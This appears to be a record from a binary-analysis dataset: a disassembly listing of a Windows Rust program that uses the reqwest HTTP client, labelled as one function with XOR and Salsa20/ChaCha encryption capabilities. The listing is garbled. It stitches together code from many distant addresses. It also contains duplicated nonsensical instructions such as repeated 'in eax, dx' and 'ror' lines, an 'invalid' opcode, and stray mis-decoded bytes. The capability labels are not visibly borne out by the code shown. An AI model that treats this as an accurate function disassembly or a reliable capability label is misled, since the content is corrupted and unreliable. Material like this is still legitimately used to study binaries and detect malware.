Function at 0x14004c2e0
Capabilities:
Encode data using xor
Encrypt data using salsa20 or chacha

Disassembly:
nop
add rsp, 0x40
pop rbx
pop rbp
pop rdi
pop rsi
pop r14
ret
add r8, 4
movd xmm1, dword [r11]
add r11, 4
punpcklbw xmm1, xmm1
punpcklwd xmm1, xmm1
pcmpeqb xmm1, xmm0
movmskps ebx, xmm1
test bl, 1
cmovne r8, r10
test bl, 2
cmovne r8, rsi
test bl, 4
cmovne r8, rax
test bl, 8
mov r14d, 0
cmovne r8, r14
mov ebp, ebx
shr bpl, 1
and bpl, 5
sub bl, bpl
mov ebp, ebx
and bpl, 0x33
shr bl, 2
and bl, 0x33
add bl, bpl
mov ebp, ebx
shr bpl, 4
in eax, dx
add al, 0x40
add ch, bl
in eax, dx
add al, 0x40
add ch, bl
and bpl, 0xf
movzx ebx, bpl
add rdx, rbx
add rdi, 0xfffffffffffffffc
jne 0x140001d50
mov rsi, rcx
test r9, r9
je 0x140001ed2
xor eax, eax
nop word cs:[rax + rax]
inc r8
xor ecx, ecx
cmp byte [r11 + rax], 0xa
mov r10d, 0
cmove r8, r10
sete cl
add rdx, rcx
inc rax
ror byte [rcx + 0x39], 0xc1
ror byte [rcx + 0x39], 0xc1
jne 0x140001de0
jmp 0x140001ed2
lea rcx, [rsp + 0x28]
call fcn.14010f930
mov qword [rsi + 8], rax
mov qword [rsi], 1
jmp 0x140001cb6
mov rdx, qword [rsp + 0x48]
mov r8, qword [rsp + 0x50]
lea rcx, [rsp + 0x58]
call qword [rax + 0x10]
mov r15, qword [rdi]
test r15, r15
je 0x140003d70
nop word cs:[rax + rax]
mov r14, qword [r15 + 0x18]
mov rax, qword [r14 + 0x28]
test rax, rax
jne 0x140003b35
mov rax, qword [r15 + 0x10]
cmp rax, r14
je 0x140003b8d
call rbx
mov r14, qword [r15 + 0x18]
mov rax, qword [r14 + 0x28]
test rax, rax
je 0x140003b1d
mov qword [r15 + 0x18], rax
cmp qword [r14], 0
jne 0x140003f4f
cmp qword [rax], 0
je 0x140003f37
movups xmm0, xmmword [rax + 8]
movups xmm1, xmmword [rax + 0x18]
movaps xmmword [rsp + 0x80], xmm1
movaps xmmword [rsp + 0x70], xmm0
mov qword [rax], 0
cmp qword [r14], 0
je 0x140003bf5
mov rax, qword [r14 + 8]
test rax, rax
je 0x140003bec
lea rcx, [r14 + 0x20]
mov rdx, qword [r14 + 0x10]
mov r8, qword [r14 + 0x18]
call qword [rax + 0x10]
jmp 0x140003bf5
mov rax, qword [rdi]
mov rax, qword [rax + 0x38]
test rax, rax
je 0x140003d53
mov qword [rsp + 0x38], 2
mov rax, qword [rdi]
test rax, rax
je 0x140003f9a
mov rax, qword [rax + 0x38]
test rax, rax
je 0x140003eb7
call rbx
mov rax, qword [rsp + 0x38]
cmp rax, 2
je 0x140003af8
test rax, rax
je 0x140003af8
mov rax, qword [rsp + 0x40]
test rax, rax
jne 0x140003ae6
jmp 0x140003ce5
mov rcx, qword [r14 + 0x10]
call fcn.140002ec0
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, r14
call rbp
mov r15, qword [rdi]
test r15, r15
je 0x140003cba
lea rcx, [r15 + 0x20]
call fcn.140001f40
test rax, rax
je 0x140003cb5
mov r14, rax
mov r13, r12
mov r15, rax
add r15, 0x10
xor eax, eax
mov cl, 1
lock cmpxchg byte [r14 + 0x10], cl
jne 0x140003d12
mov r12, rbp
mov rax, qword [0x140182308]
shl rax, 1
test rax, rax
jne 0x140003d1f
xor ebp, ebp
movzx eax, byte [r14 + 0x11]
test al, al
jne 0x140003f67
mov byte [r14 + 0x28], 0
mov rax, qword [r14 + 0x18]
mov rcx, qword [r14 + 0x20]
mov qword [r14 + 0x18], 0
test rax, rax
je 0x140003c80
call qword [rax + 8]
test bpl, bpl
jne 0x140003c98
mov rax, qword [0x140182308]
shl rax, 1
test rax, rax
jne 0x140003d3c
xor eax, eax
xchg byte [r15], al
cmp al, 2
mov rbp, r12
mov r12, r13
je 0x140003cf4
lock dec qword [r14]
je 0x140003d00
mov r15, qword [rdi]
test r15, r15
je 0x140003cba
lock dec qword [r15 + 0x38]
movaps xmm0, xmmword [rsp + 0x70]
movaps xmm1, xmmword [rsp + 0x80]
movups xmmword [rsi + 0x10], xmm1
movups xmmword [rsi], xmm0
mov qword [rsp + 0x38], 1
mov rax, qword [rsp + 0x40]
test rax, rax
jne 0x140003ae6
mov rcx, qword [rsp + 0x48]
call fcn.140002ec0
jmp 0x140003af8
mov rcx, r15
call r12
lock dec qword [r14]
jne 0x140003cad
mov rcx, r14
call fcn.140037080
mov r15, qword [rdi]
test r15, r15
jne 0x140003cb5
jmp 0x140003cba
mov rcx, r15
call fcn.1401101b0
jmp 0x140003c3e
call fcn.140110270
mov ebp, eax
xor bpl, 1
movzx eax, byte [r14 + 0x11]
test al, al
je 0x140003c63
jmp 0x140003f67
call fcn.140110270
test al, al
jne 0x140003c98
mov byte [r14 + 0x11], 1
jmp 0x140003c98
mov rax, qword [rdi]
test rax, rax
je 0x140003d69
lock dec qword [rax]
jne 0x140003d69
mov rcx, rdi
call fcn.140006620
mov qword [rdi], 0
mov rsi, qword [rsp + 0x30]
mov rax, qword [rdi]
test rax, rax
je case.0x14008ba4b.94
lock dec qword [rax]
jne case.0x14008ba4b.94
mov rcx, rdi
call fcn.140006620
mov rdi, qword [rsi + 0x90]
mov bl, 1
mov al, 1
xchg byte [rdi + 0xa8], al
mov al, 1
xchg byte [rdi + 0x88], al
test al, al
jne 0x140003dcb
mov rax, qword [rdi + 0x78]
mov rcx, qword [rdi + 0x80]
mov qword [rdi + 0x78], 0
xor edx, edx
xchg byte [rdi + 0x88], dl
test rax, rax
je 0x140003dcb
call qword [rax + 0x18]
xchg byte [rdi + 0xa0], bl
test bl, bl
jne 0x140003dfe
mov rax, qword [rdi + 0x90]
mov rcx, qword [rdi + 0x98]
mov qword [rdi + 0x90], 0
xor edx, edx
xchg byte [rdi + 0xa0], dl
test rax, rax
je 0x140003dfe
call qword [rax + 8]
lock dec qword [rdi]
jne 0x140003e10
mov rcx, qword [rsi + 0x90]
call fcn.1400370d0
mov rsi, qword [rsi + 0x98]
test rsi, rsi
je 0x140003ea2
mov rax, qword [rsi]
cmp rax, 2
je 0x140003e90
test rax, rax
mov rdi, qword [rsi + 8]
mov bl, 1
mov al, 1
xchg byte [rdi + 0x40], al
mov al, 1
xchg byte [rdi + 0x20], al
test al, al
jne 0x140003e5d
mov rax, qword [rdi + 0x10]
mov rcx, qword [rdi + 0x18]
mov qword [rdi + 0x10], 0
xor edx, edx
xchg byte [rdi + 0x20], dl
test rax, rax
je 0x140003e5d
call qword [rax + 0x18]
xchg byte [rdi + 0x38], bl
test bl, bl
jne 0x140003e81
mov rax, qword [rdi + 0x28]
mov rcx, qword [rdi + 0x30]
mov qword [rdi + 0x28], 0
xor edx, edx
xchg byte [rdi + 0x38], dl
test rax, rax
je 0x140003e81
call qword [rax + 8]
lock dec qword [rdi]
jne 0x140003e90
mov rcx, qword [rsi + 8]
call fcn.140066310
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, rsi
call qword [sym.imp.kernel32.dll_HeapFree]
nop
add rsp, 0x98
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
mov rax, qword [rsp + 0x38]
cmp rax, 2
mov rsi, qword [rsp + 0x30]
je 0x140003d75
test rax, rax
je 0x140003d75
mov rax, qword [rsp + 0x40]
test rax, rax
je 0x140003ef5
mov rdx, qword [rsp + 0x48]
mov r8, qword [rsp + 0x50]
lea rcx, [rsp + 0x58]
call qword [rax + 0x10]
jmp 0x140003d75
mov rcx, qword [rsp + 0x48]
call fcn.140002ec0
jmp 0x140003d75
lea rcx, str.assertion_failed:__next_.value.is_some__
lea r8, [0x14013d4f8]
mov edx, 0x29
call fcn.140108350
lea rcx, str.assertion_failed:__tail_.value.is_none__C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_futures_channel_0.3.30_srcmpscqueue.rs
lea r8, [0x14013d4b0]
mov edx, 0x29
call fcn.140108350
mov qword [rsp + 0x60], r15
mov byte [rsp + 0x68], bpl
lea rax, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_futures_channel_0.3.30_srcmpscmod.rs
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__value
lea r9, [0x140112e48]
lea r8, [rsp + 0x60]
mov edx, 0x2b
call fcn.140108600
lea rcx, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_futures_channel_0.3.30_srcmpscmod.rs
call fcn.140108690
int3
lea eax, [r14 - 1]
and eax, r14d
mov r14d, eax
dec r12
je 0x140004eb6
test r14w, r14w
jne 0x140004c82
nop dword [rax]
movdqa xmm0, xmmword [r13]
pmovmskb r14d, xmm0
add rdi, 0xfffffffffffffb00
add r13, 0x10
cmp r14d, 0xffff
je 0x140004c60
not r14d
tzcnt eax, r14d
neg rax
lea rax, [rax + rax*4]
shl rax, 4
lea rbp, [rdi + rax]
cmp byte [rdi + rax - 0x50], 2
jb 0x140004cc5
mov rbx, qword [rbp - 0x48]
lea rcx, [rbx + 0x18]
mov rax, qword [rbx]
mov rdx, qword [rbx + 8]
mov r8, qword [rbx + 0x10]
call qword [rax + 0x10]
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, rbx
call qword [sym.imp.kernel32.dll_HeapFree]
lea rcx, [rbp - 0x28]
mov rax, qword [rbp - 0x40]
mov rdx, qword [rbp - 0x38]
mov r8, qword [rbp - 0x30]
call qword [rax + 0x10]
mov r9, qword [rbp - 8]
test r9, r9
je 0x140004de0
mov qword [rsp + 0x30], r12
mov rax, qword [rbp - 0x10]
mov rcx, qword [rbp - 0x20]
mov qword [rsp + 0x60], rbp
mov rbx, qword [rbp - 0x18]
cmp rax, rcx
mov rdx, rcx
mov r8d, 0
cmovb rdx, r8
sub rax, rdx
mov rdx, rcx
sub rdx, rax
lea r12, [rax + r9]
cmp rdx, r9
cmovb r12, rcx
mov qword [rsp + 0x58], r9
mov rcx, r9
mov qword [rsp + 0x50], rdx
sub rcx, rdx
cmovb rcx, r8
mov qword [rsp + 0x20], rcx
sub r12, rax
jne 0x140004e10
mov rax, qword [rsp + 0x50]
cmp rax, qword [rsp + 0x58]
mov r12, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x60]
jae 0x140004de0
xor r15d, r15d
jmp 0x140004d6a
inc r15
cmp qword [rsp + 0x20], r15
je 0x140004de0
mov rsi, qword [rbx + r15*8]
mov al, 1
xchg byte [rsi + 0x80], al
mov al, 1
xchg byte [rsi + 0x60], al
test al, al
jne 0x140004d9f
mov rax, qword [rsi + 0x50]
mov rcx, qword [rsi + 0x58]
mov qword [rsi + 0x50], 0
mov edx, 0
xchg byte [rsi + 0x60], dl
test rax, rax
je 0x140004d9f
call qword [rax + 8]
mov al, 1
xchg byte [rsi + 0x78], al
test al, al
je 0x140004db0
lock dec qword [rsi]
jne 0x140004d60
jmp 0x140004dd3
mov rax, qword [rsi + 0x68]
mov rcx, qword [rsi + 0x70]
mov qword [rsi + 0x68], 0
test rax, rax
je 0x140004dc8
call qword [rax + 0x18]
xor eax, eax
xchg byte [rsi + 0x78], al
lock dec qword [rsi]
jne 0x140004d60
mov rcx, qword [rbx + r15*8]
call fcn.140005be0
jmp 0x140004d60
cmp qword [rbp - 0x20], 0
je 0x140004c40
mov r8, qword [rbp - 0x18]
mov eax, dword [rbp - 0x18]
mov rcx, qword [0x140182260]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
jmp 0x140004c40
lea rbp, [rbx + rax*8]
xor r15d, r15d
jmp 0x140004e2c
inc r15
cmp r12, r15
je 0x140004d41
mov rsi, qword [rbp + r15*8]
mov al, 1
xchg byte [rsi + 0x80], al
mov al, 1
xchg byte [rsi + 0x60], al
test al, al
jne 0x140004e62
mov rax, qword [rsi + 0x50]
mov rcx, qword [rsi + 0x58]
mov qword [rsi + 0x50], 0
mov edx, 0
xchg byte [rsi + 0x60], dl
test rax, rax
je 0x140004e62
call qword [rax + 8]
mov al, 1
xchg byte [rsi + 0x78], al
js 0x140004dec
invalid
je 0x140004e80
js 0x140004dec
sal byte [rbp + rdx - 0x10], 0x48
dec dword [rsi]
lock dec qword [rsi]
jne 0x140004e20
jmp 0x140004ea7
mov rax, qword [rsi + 0x68]
mov rcx, qword [rsi + 0x70]
mov qword [rsi + 0x68], 0
test rax, rax
je 0x140004e98
call qword [rax + 0x18]
xor eax, eax
xchg byte [rsi + 0x78], al
lock dec qword [rsi]
jne 0x140004e20
mov rcx, qword [rbp + r15*8]
call fcn.140005be0
jmp 0x140004e20
mov r8, qword [rsp + 0x40]
lea rax, [r8 + 1]
mov ecx, 0x50
mul rcx
add r8, rax
cmp r8, 0xffffffffffffffef
mov rdi, qword [rsp + 0x28]
je 0x140004eec
mov r8, qword [rsp + 0x38]
sub r8, rax
mov rcx, qword [0x140182260]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov rsi, qword [rdi + 0xc0]
test rsi, rsi
je 0x140004f3e
mov bl, 1
mov al, 1
xchg byte [rsi + 0x40], al
mov al, 1
xchg byte [rsi + 0x20], al
test al, al
jne 0x140004f25
mov rax, qword [rsi + 0x10]
mov rcx, qword [rsi + 0x18]
mov qword [rsi + 0x10], 0
xor edx, edx
xchg byte [rsi + 0x20], dl
test rax, rax
je 0x140004f25
call qword [rax + 8]
or byte [rsi - 0x247bc7a2], al
xchg byte [rsi + 0x38], bl
test bl, bl
je 0x140004fa1
lock dec qword [rsi]
jne 0x140004f3e
mov rcx, qword [rdi + 0xc0]
call fcn.140066310
mov rax, qword [rdi + 0x18]
test rax, rax
je 0x140004f5a
lock dec qword [rax]
jne 0x140004f5a
mov rcx, qword [rdi + 0x18]
mov rdx, qword [rdi + 0x20]
call fcn.140005050
mov rax, qword [rsp + 0x48]
mov r8, qword [rax]
cmp r8, 0xffffffffffffffff
je 0x140004f8f
lock dec qword [r8 + 8]
jne 0x140004f8f
mov rcx, qword [0x140182260]
xor edx, edx
add rsp, 0x68
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
jmp qword [sym.imp.kernel32.dll_HeapFree]
nop
add rsp, 0x68
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
mov rax, qword [rsi + 0x28]
mov rcx, qword [rsi + 0x30]
mov qword [rsi + 0x28], 0
test rax, rax
je 0x140004fb9
call qword [rax + 0x18]
xor eax, eax
xchg byte [rsi + 0x38], al
lock dec qword [rsi]
je 0x140004f32
jmp 0x140004f3e
movups xmmword [rsp + 0x138], xmm3
movups xmmword [rsp + 0x148], xmm4
movups xmm1, xmmword [rsp + 0x78]
movups xmmword [rsp + 0x158], xmm1
mov rax, qword [rsp + 0x88]
mov qword [rsp + 0x168], rax
mov dword [rsp + 0x178], 0x3b9aca00
mov byte [rsp + 0x180], 1
movups xmmword [rsp + 0x188], xmm0
mov byte [rsp + 0x198], 2
xor eax, eax
mov qword [rsp + 0x90], rax
lock inc qword [rbx]
jle 0x1400075c1
mov qword [rsp + 0x38], rbx
mov qword [rsp + 0x40], r14
mov dword [rsp + 0x48], edi
lea rdi, [rsp + 0x238]
lea rdx, [rsp + 0x38]
lea r8, [rsp + 0x90]
mov rcx, rdi
call fcn.1400c5090
mov rcx, rsi
mov rdx, rdi
call fcn.1400c53b0
lock dec qword [rbx]
jne 0x1400075b3
lea rcx, [rsp + 0x20]
call fcn.140005f40
nop
add rsp, 0x388
pop rbx
pop rdi
pop rsi
pop r14
ret
ud2
mov r8, qword [rsp + 0x58]
mov rcx, qword [0x140182260]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
movzx eax, byte [0x140182310]
mov edx, 8
xor ecx, ecx
call fcn.1400dfbe0
test rax, rax
je 0x140009e1d
mov rdi, rax
mov qword [rax], rsi
movzx eax, byte [0x140182310]
mov edx, 0x70
xor ecx, ecx
call fcn.1400dfbe0
test rax, rax
je 0x140009e0e
mov rbx, rax
movabs rax, 0x8000000000000000
mov qword [rbx], rax
mov qword [rbx + 0x58], rdi
lea rax, fcn.140003120
mov qword [rbx + 0x60], rax
mov word [rbx + 0x68], 5
xor edi, edi
jmp 0x1400096f6
lea rcx, [rsp + 0xc0]
call fcn.140002710
xor edi, edi
inc byte [rsp + 0x80]
mov rax, qword [rsp + 0x68]
mov r9, qword [rsp + 0x70]
mov rcx, qword [rsp + 0x78]
cmp rcx, r9
jae 0x140009228
mov rdx, qword [rsp + 0x78]
nop
movzx r8d, byte [rax + rcx]
cmp r8, 0x2c
ja 0x1400092a6
bt r12, r8
jae 0x140009267
inc rcx
mov rdx, rcx
cmp r9, rcx
jne 0x140009200
mov qword [rsp + 0x78], rcx
mov rcx, r9
mov qword [rsp + 0x30], 3
inc rcx
cmp r9, rcx
cmovb rcx, r9
test rcx, rcx
jne 0x14000924d
mov edx, 1
xor r8d, r8d
jmp 0x1400095e4
mov r9d, ecx
and r9d, 3
cmp rcx, 4
jae 0x1400092bf
mov edx, 1
xor r8d, r8d
jmp 0x14000936b
cmp r8, 0x2c
jne 0x1400092a6
lea r10, [rcx + 1]
cmp r9, r10
cmovb r10, r9
mov qword [rsp + 0x78], rdx
mov qword [rsp + 0x30], 0x15
inc rcx
je 0x1400093c6
cmp r10, 4
jae 0x1400093ea
mov edx, 1
xor r8d, r8d
jmp 0x14000949b
cmp r8d, 0x7d
jne 0x1400093a8
inc rcx
mov qword [rsp + 0x78], rcx
xor eax, eax
jmp 0x1400095ee
and rcx, 0xfffffffffffffffc
mov r10d, 1
xor r8d, r8d
movdqa xmm0, xmmword [str._n_n_n_n_n_n_n_n_n_n_n_n_n_n_n_n]
mov r11d, 3
mov esi, 2
mov edx, 1
nop word cs:[rax + rax]
add r8, 4
movd xmm1, dword [rax]
add rax, 4
punpcklbw xmm1, xmm1
punpcklwd xmm1, xmm1
pcmpeqb xmm1, xmm0
movmskps ebp, xmm1
test bpl, 1
cmovne r8, r11
test bpl, 2
cmovne r8, rsi
test bpl, 4
cmovne r8, r10
test bpl, 8
mov r14d, 0
cmovne r8, r14
mov r14d, ebp
shr r14b, 1
and r14b, 5
sub bpl, r14b
mov r14d, ebp
and r14b, 0x33
shr bpl, 2
and bpl, 0x33
add bpl, r14b
mov r14d, ebp
shr r14b, 4
add r14b, bpl
and r14b, 0xf
movzx r14d, r14b
add rdx, r14
add rcx, 0xfffffffffffffffc
jne 0x1400092f0
test r9, r9
mov r14, qword [rsp + 0x20]
je 0x1400095e4
xor ecx, ecx
nop dword [rax + rax]
inc r8
xor r10d, r10d
cmp byte [rax + rcx], 0xa
mov r11d, 0
cmove r8, r11
sete r10b
add rdx, r10
inc rcx
cmp r9, rcx
jne 0x140009380
jmp 0x1400095e4
lea r10, [rcx + 1]
cmp r9, r10
cmovb r10, r9
mov qword [rsp + 0x78], rdx
mov qword [rsp + 0x30], 0x16
inc rcx
jne 0x1400093d3
xor r8d, r8d
mov edx, 1
jmp 0x1400095e4
cmp r10, 4
jae 0x1400094e9
mov edx, 1
xor r8d, r8d
jmp 0x14000959b
cmp r9, rcx
mov r11, rcx
cmovb r11, r9
and r11, 0xfffffffffffffffc
mov esi, 1
xor r8d, r8d
movdqa xmm0, xmmword [str._n_n_n_n_n_n_n_n_n_n_n_n_n_n_n_n]
mov r14d, 3
mov r15d, 2
mov edx, 1
nop dword [rax]
add r8, 4
movd xmm1, dword [rax]
add rax, 4
punpcklbw xmm1, xmm1
punpcklwd xmm1, xmm1
pcmpeqb xmm1, xmm0
movmskps ebp, xmm1
test bpl, 1
cmovne r8, r14
test bpl, 2
cmovne r8, r15
test bpl, 4
cmovne r8, rsi
test bpl, 8
mov r13d, 0
cmovne r8, r13
mov r13d, ebp
shr r13b, 1
and r13b, 5
sub bpl, r13b
mov r13d, ebp
and r13b, 0x33
shr bpl, 2
and bpl, 0x33
add bpl, r13b
mov r13d, ebp
shr r13b, 4
add r13b, bpl
and r13b, 0xf
movzx r13d, r13b
add rdx, r13
add r11, 0xfffffffffffffffc
jne 0x140009420
test r10b, 3
mov r14, qword [rsp + 0x20]
je 0x1400095e4
cmp r9, rcx
cmovb rcx, r9
and ecx, 3
xor r9d, r9d
nop word [rax + rax]
inc r8
xor r10d, r10d
cmp byte [rax + r9], 0xa
mov r11d, 0
cmove r8, r11
sete r10b
add rdx, r10
inc r9
cmp rcx, r9
jne 0x1400094c0
jmp 0x1400095e4
cmp r9, rcx
mov r11, rcx
cmovb r11, r9
and r11, 0xfffffffffffffffc
mov esi, 1
xor r8d, r8d
movdqa xmm0, xmmword [str._n_n_n_n_n_n_n_n_n_n_n_n_n_n_n_n]
mov r14d, 3
mov r15d, 2
mov edx, 1
nop dword [rax + rax]
add r8, 4
movd xmm1, dword [rax]
add rax, 4
punpcklbw xmm1, xmm1
punpcklwd xmm1, xmm1
pcmpeqb xmm1, xmm0
movmskps ebp, xmm1
test bpl, 1
cmovne r8, r14
test bpl, 2
cmovne r8, r15
test bpl, 4
cmovne r8, rsi
test bpl, 8
mov r13d, 0
cmovne r8, r13
mov r13d, ebp
shr r13b, 1
and r13b, 5
sub bpl, r13b
mov r13d, ebp
and r13b, 0x33
shr bpl, 2
and bpl, 0x33
add bpl, r13b
mov r13d, ebp
shr r13b, 4
add r13b, bpl
and r13b, 0xf
movzx r13d, r13b
add rdx, r13
add r11, 0xfffffffffffffffc
jne 0x140009520
test r10b, 3
mov r14, qword [rsp + 0x20]
je 0x1400095e4
cmp r9, rcx
cmovb rcx, r9
and ecx, 3
xor r9d, r9d
nop word cs:[rax + rax]
inc r8
xor r10d, r10d
cmp byte [rax + r9], 0xa
mov r11d, 0
cmove r8, r11
sete r10b
add rdx, r10
inc r9
cmp rcx, r9
jne 0x1400095c0
lea rcx, [rsp + 0x30]
call fcn.14010f930
mov qword [rsp + 0xc0], rdi
mov qword [rsp + 0xc8], rbx
movdqa xmm0, xmmword [rsp + 0x1c0]
movaps xmm1, xmmword [rsp + 0x1d0]
movdqu xmmword [rsp + 0xd0], xmm0
movups xmmword [rsp + 0xe0], xmm1
mov qword [rsp + 0xf0], rax
test rdi, rdi
je 0x14000987d
test rax, rax
jne 0x140009891
movdqa xmm0, xmmword [rsp + 0x1c0]
movaps xmm1, xmmword [rsp + 0x1d0]
movups xmmword [rsp + 0x1a0], xmm1
movdqu xmmword [rsp + 0x190], xmm0
mov qword [rsp + 0x180], rdi
mov qword [rsp + 0x188], rbx
mov r9, qword [rsp + 0x70]
mov rax, qword [rsp + 0x78]
cmp rax, r9
jae 0x1400096b9
mov rcx, qword [rsp + 0x68]
mov rdx, qword [rsp + 0x78]
nop word cs:[rax + rax]
movzx r8d, byte [rcx + rax]
cmp r8, 0x20
ja 0x1400098c2
bt r12, r8
jae 0x1400098c2
inc rax
mov rdx, rax
cmp r9, rax
jne 0x140009690
mov qword [rsp + 0x78], rax
lea rax, [rsp + 0x190]
movdqu xmm0, xmmword [rax]
movups xmm1, xmmword [rax + 0x10]
movaps xmmword [rsp + 0x4d0], xmm1
movdqa xmmword [rsp + 0x4c0], xmm0
cmp qword [rsp + 0x50], 0
je 0x1400096f6
mov r8, qword [rsp + 0x58]
mov rcx, qword [0x140182260]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
lea rcx, [rsp + 0x210]
mov rax, qword [rsp + 0x1f8]
mov rdx, qword [rsp + 0x200]
mov r8, qword [rsp + 0x208]
call qword [rax + 0x10]
test rdi, rdi
je 0x140009742
movdqa xmm0, xmmword [rsp + 0x4c0]
movaps xmm1, xmmword [rsp + 0x4d0]
movaps xmmword [rsp + 0xd0], xmm1
movdqa xmmword [rsp + 0xc0], xmm0
jmp 0x140009744
xor edi, edi
mov rax, qword [rsp + 0x170]
mov rcx, qword [rsp + 0x178]
call qword [rax + 0x18]
test rdi, rdi
je 0x140009796
movdqa xmm0, xmmword [rsp + 0xc0]
movaps xmm1, xmmword [rsp + 0xd0]
mov rax, qword [rsp + 0x168]
movups xmmword [rax + 0x20], xmm1
movdqu xmmword [rax + 0x10], xmm0
mov qword [rax], rdi
mov qword [rax + 8], rbx
mov rsi, qword [r14 + 0xa8]
test rsi, rsi
jne 0x1400097ff
jmp 0x14000982f
test rbx, rbx
jne 0x1400097e0
movzx eax, byte [0x140182310]
mov edx, 0x70
xor ecx, ecx
call fcn.1400dfbe0
test rax, rax
je 0x140009e0e
mov rbx, rax
movabs rax, 0x8000000000000000
mov qword [rbx], rax
mov qword [rbx + 0x58], 1
lea rax, [0x140112be8]
mov qword [rbx + 0x60], rax
mov word [rbx + 0x68], 5
mov rax, qword [rsp + 0x168]
mov qword [rax + 8], rbx
mov qword [rax], 0
mov rsi, qword [r14 + 0xa8]
test rsi, rsi
je 0x14000982f
mov rdi, qword [r14 + 0xb0]
mov rcx, rsi
call qword [rdi]
cmp qword [rdi + 8], 0
je 0x14000982f
cmp qword [rdi + 0x10], 0x11
jb 0x14000981d
mov rsi, qword [rsi - 8]
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, rsi
call qword [sym.imp.kernel32.dll_HeapFree]
mov rax, qword [r14 + 0xb8]
test rax, rax
je 0x140009850
lock dec qword [rax]
jne 0x140009850
add r14, 0xb8
mov rcx, r14
call fcn.140005f40
movaps xmm6, xmmword [rsp + 0x760]
movaps xmm7, xmmword [rsp + 0x770]
movaps xmm8, xmmword [rsp + 0x780]
add rsp, 0x798
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
test rax, rax
je 0x1400098a1
lea rcx, [rsp + 0xf0]
call fcn.140003120
jmp 0x1400098a1
lea rcx, [rsp + 0xc0]
mov rbx, rax
call fcn.140002710
lea rdx, [rsp + 0x50]
mov rcx, rbx
call fcn.140107440
mov rsi, rax
cmp qword [rsp + 0x50], 0
jne 0x140008adb
jmp 0x140008aef
lea r10, [rax + 1]
cmp r9, r10
cmovb r10, r9
mov qword [rsp + 0x78], rdx
mov qword [rsp + 0xc0], 0x16
inc rax
jne 0x1400098f0
xor r8d, r8d
mov edx, 1
jmp 0x140009a44
cmp r10, 4
jae 0x14000994f
mov edx, 1
xor r8d, r8d
jmp 0x1400099fb
cmp r9, rax
mov r11, rax
cmovb r11, r9
and r11, 0xfffffffffffffffc
mov esi, 1
xor r8d, r8d
movdqa xmm0, xmmword [str._n_n_n_n_n_n_n_n_n_n_n_n_n_n_n_n]
mov edi, 3
mov ebx, 2
mov edx, 1
nop dword [rax]
add r8, 4
movd xmm1, dword [rcx]
add rcx, 4
punpcklbw xmm1, xmm1
punpcklwd xmm1, xmm1
pcmpeqb xmm1, xmm0
movmskps ebp, xmm1
test bpl, 1
cmovne r8, rdi
test bpl, 2
cmovne r8, rbx
test bpl, 4
cmovne r8, rsi
test bpl, 8
mov r14d, 0
cmovne r8, r14
mov r14d, ebp
shr r14b, 1
and r14b, 5
sub bpl, r14b
mov r14d, ebp
and r14b, 0x33
shr bpl, 2
and bpl, 0x33
add bpl, r14b
mov r14d, ebp
shr r14b, 4
add r14b, bpl
and r14b, 0xf
movzx r14d, r14b
add rdx, r14
add r11, 0xfffffffffffffffc
jne 0x140009980
test r10b, 3
mov r14, qword [rsp + 0x20]
je 0x140009a44
cmp r9, rax
cmovb rax, r9
and eax, 3
xor r9d, r9d
nop word cs:[rax + rax]
inc r8
xor r10d, r10d
cmp byte [rcx + r9], 0xa
mov r11d, 0
cmove r8, r11
sete r10b
add rdx, r10
inc r9
cmp rax, r9
jne 0x140009a20
lea rcx, [rsp + 0xc0]
call fcn.14010f930
mov rsi, rax
lea rcx, [rsp + 0x180]
call fcn.140002710
cmp qword [rsp + 0x50], 0
jne 0x140008adb
jmp 0x140008aef
add byte [rax], al
xor r8d, r8d
mov edx, 1
jmp 0x140009d82
lea rcx, [rsp + 0x30]
call fcn.14010f930
mov rbx, rax
mov r14, qword [rsp + 0x20]
jmp 0x1400091d0
mov ecx, 8
mov edx, 0x70
call fcn.140107fe0
mov ecx, 8
mov edx, 8
call fcn.140107fe0
mov ecx, 1
mov rdx, qword [rsp + 0x28]
call fcn.140107fc0
lea rax, str.overflow_in_Duration::new
mov qword [rsp + 0x238], rax
mov qword [rsp + 0x240], 1
mov qword [rsp + 0x248], 8
xorps xmm0, xmm0
movups xmmword [rsp + 0x250], xmm0
lea rdx, str._rustc_c987ad527540e8f1565f57c31204bde33f63df76librarycore_src_time.rs_
lea rcx, [rsp + 0x238]
call fcn.140108280
mov ecx, 1
mov rdx, rsi
call fcn.140107fc0
int3
lea rcx, [rbp + 0x3e0]
mov rdx, rsi
mov r8, qword [rbp + 0xaa8]
call fcn.1400ba3f0
cmp qword [rbp + 0x3e0], 4
jne 0x14000c241
mov byte [r15], 3
mov bl, 3
mov sil, 1
mov byte [r12 + 0x148], bl
mov eax, esi
movaps xmm6, xmmword [rbp + 0xaf0]
add rsp, 0xb88
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
lea r15, [r12 + 0x140]
mov byte [r12 + 0x140], 0
lea rsi, [rbp + 0x6f0]
mov rcx, rsi
call fcn.14004f120
mov rcx, rsi
call fcn.14004fb20
mov rsi, rdx
test rax, rax
jne 0x14000be98
mov qword [r12], rsi
jmp 0x14000beca
mov qword [rbp + 0x6f0], rsi
lea rax, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_reqwest_0.11.27_src_async_implclient.rs
mov qword [rsp + 0x20], rax
lea rcx, str.Client::new__
lea r9, [0x14013ec48]
lea r8, [rbp + 0x6f0]
mov edx, 0xd
call fcn.140108600
